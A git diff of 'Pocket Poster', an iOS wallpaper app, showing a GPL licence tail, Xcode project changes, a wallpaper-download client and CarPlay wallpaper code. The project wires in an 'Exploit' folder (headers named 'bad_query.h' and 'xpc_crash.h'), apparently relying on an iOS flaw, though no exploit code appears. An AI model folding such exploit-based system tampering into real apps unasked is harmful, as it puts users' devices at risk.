or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -8,15 +8,35 @@
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */; };
|
||||
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09BA322E00808300CDE89C /* Dynamic */; };
|
||||
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */ = {isa = PBXBuildFile; productRef = 6FB105542E26D3EC00185A5C /* CachedAsyncImage */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
|
||||
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
|
||||
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
|
||||
membershipExceptions = (
|
||||
Exploit/bad_query.h,
|
||||
"Exploit/Pocket-Poster-Bridging-Header.h",
|
||||
"Exploit/xpc_crash.h",
|
||||
);
|
||||
};
|
||||
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedRootGroup section */
|
||||
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
|
||||
isa = PBXFileSystemSynchronizedRootGroup;
|
||||
exceptions = (
|
||||
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
|
||||
);
|
||||
explicitFolders = (
|
||||
Resources/VideoCAML,
|
||||
);
|
||||
path = "Pocket Poster";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
@@ -27,6 +47,8 @@
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */,
|
||||
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */,
|
||||
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -71,6 +93,8 @@
|
||||
name = "Pocket Poster";
|
||||
packageProductDependencies = (
|
||||
6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */,
|
||||
6F09BA322E00808300CDE89C /* Dynamic */,
|
||||
6FB105542E26D3EC00185A5C /* CachedAsyncImage */,
|
||||
);
|
||||
productName = "Pocket Poster";
|
||||
productReference = 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */;
|
||||
@@ -102,6 +126,8 @@
|
||||
minimizedProjectReferenceProxies = 1;
|
||||
packageReferences = (
|
||||
6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */,
|
||||
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */,
|
||||
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */,
|
||||
);
|
||||
preferredProjectObjectVersion = 77;
|
||||
productRefGroup = 6F09B79E2DEB694B00CDE89C /* Products */;
|
||||
@@ -261,11 +287,15 @@
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 0;
|
||||
CURRENT_PROJECT_VERSION = 3;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||
);
|
||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||
@@ -273,15 +303,16 @@
|
||||
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 1.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
||||
MARKETING_VERSION = 3.2.2;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
@@ -293,11 +324,15 @@
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 0;
|
||||
CURRENT_PROJECT_VERSION = 3;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||
);
|
||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||
@@ -305,15 +340,16 @@
|
||||
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 1.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
||||
MARKETING_VERSION = 3.2.2;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
@@ -351,6 +387,22 @@
|
||||
minimumVersion = 0.9.19;
|
||||
};
|
||||
};
|
||||
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/mhdhejazi/Dynamic";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 1.2.0;
|
||||
};
|
||||
};
|
||||
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/lorenzofiamingo/swiftui-cached-async-image";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 2.1.1;
|
||||
};
|
||||
};
|
||||
/* End XCRemoteSwiftPackageReference section */
|
||||
|
||||
/* Begin XCSwiftPackageProductDependency section */
|
||||
@@ -359,6 +411,16 @@
|
||||
package = 6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */;
|
||||
productName = ZIPFoundation;
|
||||
};
|
||||
6F09BA322E00808300CDE89C /* Dynamic */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */;
|
||||
productName = Dynamic;
|
||||
};
|
||||
6FB105542E26D3EC00185A5C /* CachedAsyncImage */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */;
|
||||
productName = CachedAsyncImage;
|
||||
};
|
||||
/* End XCSwiftPackageProductDependency section */
|
||||
};
|
||||
rootObject = 6F09B7952DEB694B00CDE89C /* Project object */;
|
||||
|
||||
@@ -1,6 +1,24 @@
|
||||
{
|
||||
"originHash" : "d0d4edfdf2bf3cd05b3ba2dec0af1a9c271c93f944cbba8677cc647f74a6b323",
|
||||
"originHash" : "7f2d604f1affb7dc07ec1898cef3c0eaf130e2b55b5c441f445ab59c3285c1bb",
|
||||
"pins" : [
|
||||
{
|
||||
"identity" : "dynamic",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/mhdhejazi/Dynamic",
|
||||
"state" : {
|
||||
"revision" : "ab9a2570862d54aed2663691bb767f881226a12f",
|
||||
"version" : "1.2.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "swiftui-cached-async-image",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/lorenzofiamingo/swiftui-cached-async-image",
|
||||
"state" : {
|
||||
"revision" : "467a3d17479887943ab917a379e62bbaff60ac8a",
|
||||
"version" : "2.1.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "zipfoundation",
|
||||
"kind" : "remoteSourceControl",
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1620"
|
||||
version = "1.7">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
shouldAutocreateTestPlan = "YES">
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -0,0 +1,79 @@
|
||||
//
|
||||
// CowabungaAPI.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 7/15/25.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
|
||||
enum FilterType: String, CaseIterable {
|
||||
case random = "Random"
|
||||
case newest = "Newest"
|
||||
case oldest = "Oldest"
|
||||
}
|
||||
|
||||
class CowabungaAPI: ObservableObject {
|
||||
|
||||
static let shared = CowabungaAPI()
|
||||
|
||||
var serverURL = ""
|
||||
var session = URLSession.shared
|
||||
|
||||
func fetchWallpapers(type: DownloadableWallpaper.WallpaperType) async throws -> [DownloadableWallpaper] {
|
||||
let request = URLRequest(url: .init(string: serverURL + "wallpapers-\(type.rawValue).json")!)
|
||||
|
||||
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
|
||||
guard response.statusCode == 200 else { throw APIError.connectionFailed }
|
||||
let wallpapers = try JSONDecoder().decode([DownloadableWallpaper].self, from: data)
|
||||
|
||||
for i in wallpapers.indices {
|
||||
wallpapers[i].type = type
|
||||
}
|
||||
|
||||
return wallpapers
|
||||
}
|
||||
|
||||
func filterWallpapers(wallpapers: [DownloadableWallpaper], filterType: FilterType) -> [DownloadableWallpaper] {
|
||||
var filtered = wallpapers
|
||||
if filterType == FilterType.newest {
|
||||
filtered = filtered.reversed()
|
||||
} else if filterType == FilterType.random {
|
||||
filtered = filtered.shuffled()
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func getCommitHash() async throws -> String {
|
||||
let request = URLRequest(url: .init(string: serverURL + "https://api.github.com/repos/SerStars/nugget-wallpapers/commits/main")!)
|
||||
|
||||
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
|
||||
guard response.statusCode == 200 else { throw APIError.connectionFailed }
|
||||
guard let repoinfo = try JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] else { throw APIError.repoHashError }
|
||||
guard let hash = repoinfo["sha"] as? String else { throw APIError.repoHashError }
|
||||
return hash
|
||||
}
|
||||
|
||||
func getDownloadURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
|
||||
if wallpaper.url.hasPrefix("https://") {
|
||||
URL(string: wallpaper.url)!
|
||||
} else {
|
||||
URL(string: serverURL + wallpaper.url)!
|
||||
}
|
||||
}
|
||||
|
||||
func getPreviewURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
|
||||
URL(string: serverURL + wallpaper.preview)!
|
||||
}
|
||||
|
||||
init() {
|
||||
Task {
|
||||
do {
|
||||
let hash = try await getCommitHash()
|
||||
serverURL = "https://raw.githubusercontent.com/SerStars/nugget-wallpapers/\(hash)/"
|
||||
} catch {
|
||||
await UIApplication.shared.alert(body: error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
//
|
||||
// DownloadableWallpaper.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 7/15/25.
|
||||
//
|
||||
|
||||
class DownloadableWallpaper: Identifiable, Codable {
|
||||
var name: String
|
||||
var description: String?
|
||||
var url: String
|
||||
var preview: String
|
||||
var authors: String?
|
||||
var type: WallpaperType?
|
||||
|
||||
init(name: String, description: String?, authors: String?, preview: String, url: String, version: String) {
|
||||
self.name = name
|
||||
self.description = description
|
||||
self.authors = authors
|
||||
self.preview = preview
|
||||
self.url = url
|
||||
}
|
||||
|
||||
enum WallpaperType: String, Codable {
|
||||
case custom, apple, template
|
||||
}
|
||||
|
||||
func previewIsGif() -> Bool {
|
||||
return preview.hasSuffix(".gif")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"filename" : "Mak5er@2x.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"filename" : "POEditor@2x.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
@@ -0,0 +1,28 @@
|
||||
//
|
||||
// CPBitmapHandler.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/16/25.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import Dynamic
|
||||
|
||||
class CPBitmapHandler {
|
||||
static func resizeAndSave(image: UIImage, to url: URL, size: CGSize) throws {
|
||||
UIGraphicsBeginImageContextWithOptions(size, false, 0.0)
|
||||
image.draw(in: CGRect(origin: CGPoint.zero, size: size))
|
||||
let resizedImage = UIGraphicsGetImageFromCurrentImageContext()!
|
||||
UIGraphicsEndImageContext()
|
||||
|
||||
try? FileManager.default.removeItem(at: url)
|
||||
|
||||
resizedImage.writeToCPBitmapFile(to: url.path() as NSString)
|
||||
}
|
||||
}
|
||||
|
||||
extension UIImage {
|
||||
func writeToCPBitmapFile(to path: NSString) {
|
||||
Dynamic(self).writeToCPBitmapFile(path, flags: 1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
//
|
||||
// CarPlayWallpaper.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/22/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct CarPlayWallpaper: Identifiable {
|
||||
var id = UUID()
|
||||
var name: String
|
||||
var lightImage: UIImage
|
||||
var darkImage: UIImage
|
||||
var selectedImageDataLight: Data?
|
||||
var selectedImageDataDark: Data?
|
||||
}
|
||||
|
||||
extension CarPlayWallpaper: Reorderable {
|
||||
typealias OrderElement = String
|
||||
var orderElement: OrderElement { name }
|
||||
}
|
||||
|
||||
class CarPlayManager {
|
||||
static func supportsCarPlay() -> Bool {
|
||||
if UIDevice.current.userInterfaceIdiom != .phone {
|
||||
// CarPlay is not on iPads
|
||||
return false
|
||||
}
|
||||
if #available(iOS 19, *) {
|
||||
// get the build number
|
||||
var osVersionString = [CChar](repeating: 0, count: 16)
|
||||
var osVersionStringLen = size_t(osVersionString.count - 1)
|
||||
|
||||
let result = sysctlbyname("kern.osversion", &osVersionString, &osVersionStringLen, nil, 0)
|
||||
|
||||
if result == 0 {
|
||||
// Convert C array to String
|
||||
if let build = String(validatingUTF8: osVersionString) {
|
||||
// check build number for iOS 26 dev beta 1-3, return true if user is on that
|
||||
if build == "23A5260n" // dev beta 1
|
||||
|| build == "23A5260u" // dev beta 1 (iPhone 15/16 series)
|
||||
|| build == "23A5276f" // dev beta 2
|
||||
|| build == "23A5287g" { // dev beta 3
|
||||
return true
|
||||
}
|
||||
} else {
|
||||
print("Failed to convert build number to String")
|
||||
}
|
||||
} else {
|
||||
print("sysctlbyname failed with error: \(String(cString: strerror(errno)))")
|
||||
}
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
static func getCarPlayCacheVersion() -> String {
|
||||
// they started adding numbers to the end in iOS 18, this is to compensate for that
|
||||
if #available(iOS 19.0, *) {
|
||||
return "-12"
|
||||
} else if #available(iOS 18.0, *) {
|
||||
return "-11"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
static func getCarPlayWallpaperNames() -> [String]? {
|
||||
